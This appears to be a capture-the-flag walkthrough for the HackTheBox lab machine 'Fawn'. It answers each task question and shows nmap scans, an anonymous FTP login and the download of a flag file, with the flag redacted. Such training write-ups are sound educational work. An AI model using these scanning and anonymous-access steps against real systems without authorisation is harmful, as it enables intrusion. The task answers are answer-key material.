Fawn

CHALLENGE INFORMATION

	Platform: HackTheBox Collection: Starting Point Tier: 0 Machine: Fawn Released: 30/09/2021

MACHINE SYNOPSIS

Fawn is a very easy Linux machine which explores the File Transfer Protocol (FTP) and its exploitation when misconfigured to allow anonymous access.

Preparations

Several methods exist for connecting to the target machine. Throughout this walkthrough, we utilize the provided pwnbox.

Once connected, we spawn the target machine.

Additionally – even though not required – we may set a local variable (available only in the current shell) containing our target host’s IP address. Once set, we access it by prepending $ to the variable name.

user@kali:~$ rhost=<targetbox-ip>
user@kali:~$ echo $rhost 
<targetbox-ip>
user@kali:~$

We may remove this variable with the unset command when it is no longer needed.

user@kali:~$ unset rhost

Task-1

Question: What does the 3-letter acronym FTP stand for?

file transfer protocol

A simple Internet search yields the answer.

Task-2

Question: Which port does the FTP service listen on usually?

21

Consult standard port documentation or Internet Assigned Numbers Authority (IANA) records.

Task-3

Question: What acronym is used for the secure version of FTP?

sftp

Refer to protocol documentation or networking resources.

Task-4

Question: What is the command we can use to send an ICMP echo request to test our connection to the target?

ping

We verify connectivity to the target machine as follows:

user@kali:~$ ping $rhost -c 4
...
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
...
user@kali:~$

Task-5

Question: From your scans, what version is FTP running on the target?

vsftpd 3.0.3

Building upon our previous research, we perform a version scan of FTP, which utilizes its default port at 21/tcp.

user@kali:~$ nmap -sV -p21 $rhost
...
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
...
user@kali:~$

Task-6

Question: From your scans, what OS type is running on the target?

unix

To identify the operating system, we employ the -O option. Note that OS detection scripts require root privileges.

user@kali:~$ nmap -O -p21 $rhost 
TCP/IP fingerprinting (for OS scan) requires root privileges.
QUITTING!
user@kali:~$ sudo nmap -O -p21 $rhost
...
PORT   STATE SERVICE
21/tcp open  ftp
...
Aggressive OS guesses: Linux 5.0 (99%), Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.3 (94%), Linux 5.4 (94%), Linux 5.0 - 5.4 (94%), Linux 5.3 - 5.4 (94%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%)
No exact OS matches for host (test conditions non-ideal).
...
user@kali:~$

Task-7

Question: What is the command we need to run in order to display the ftp client help menu?

ftp -h

When uncertain, consult the manual pages. We may use man ftp to locate the help option.

user@kali:~$ ftp -h

	Usage: { ftp | pftp } [-46pinegvtd] [hostname]
	   -4: use IPv4 addresses only
	   -6: use IPv6, nothing else
           ...
	   -d: enable debugging

user@kali:~$

Task-8

Question: What is username that is used over FTP when you want to log in without having an account?

anonymous

To verify whether anonymous login is enabled, we use nmap with the -A option, which executes all scripts (OS detection, version detection, script scanning, and traceroute).

user@kali:~$ nmap -A $rhost -p21
...
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
...
user@kali:~$

We proceed to log in. The username anonymous does not require a password; we simply press Enter to continue. Once authenticated, we use the help command to list all available commands.

user@kali:~$ ftp $rhost 21
Connected to 10.129.200.114.
220 (vsFTPd 3.0.3)
Name (10.129.200.114:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> help
Commands may be abbreviated.  Commands are:

!		dir		mdelete		qc		site
$		disconnect	mdir		sendport	size
account		exit		mget		put		status
...

Task-9

Question: What is the response code we get for the FTP message Login successful?

230

Refer to the terminal interaction in Listing 8.

Task-10

Question: There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system.

ls

We verify this by using the help command within the FTP session, then employ it to list files in the current directory.

# Connected to the FTP service
ftp> help help
help      	print local help information
ftp> help dir
dir       	list contents of remote directory
ftp> help ls
ls        	list contents of remote directory 
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              32 ... flag.txt
226 Directory send OK.

Task-11

Question: What is the command used to download the file we found on the FTP server?

get

Again, we consult help within the FTP session to locate the appropriate command. Once identified, we download the file containing the flag.

# Connected to the FTP service
ftp> help get
get       	receive file
ftp> get flag.txt
local: flag.txt remote: flag.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag.txt (32 bytes).
226 Transfer complete.
32 bytes received in 0.00 secs (250.0000 kB/s)

Submit The Flag

Question: Submit root flag

<redacted-flag>

After downloading the file, we terminate the FTP connection.

ftp> exit
221 Goodbye.

We then examine the downloaded file to obtain the root flag.

user@kali:~$ ll
total 20K
-rw-r--r-- 1 user user   32 ... flag.txt
...
user@kali:~$ cat flag.txt 
<redacted-flag>
user@kali:~$

Remember to terminate the target box before proceeding to the next machine!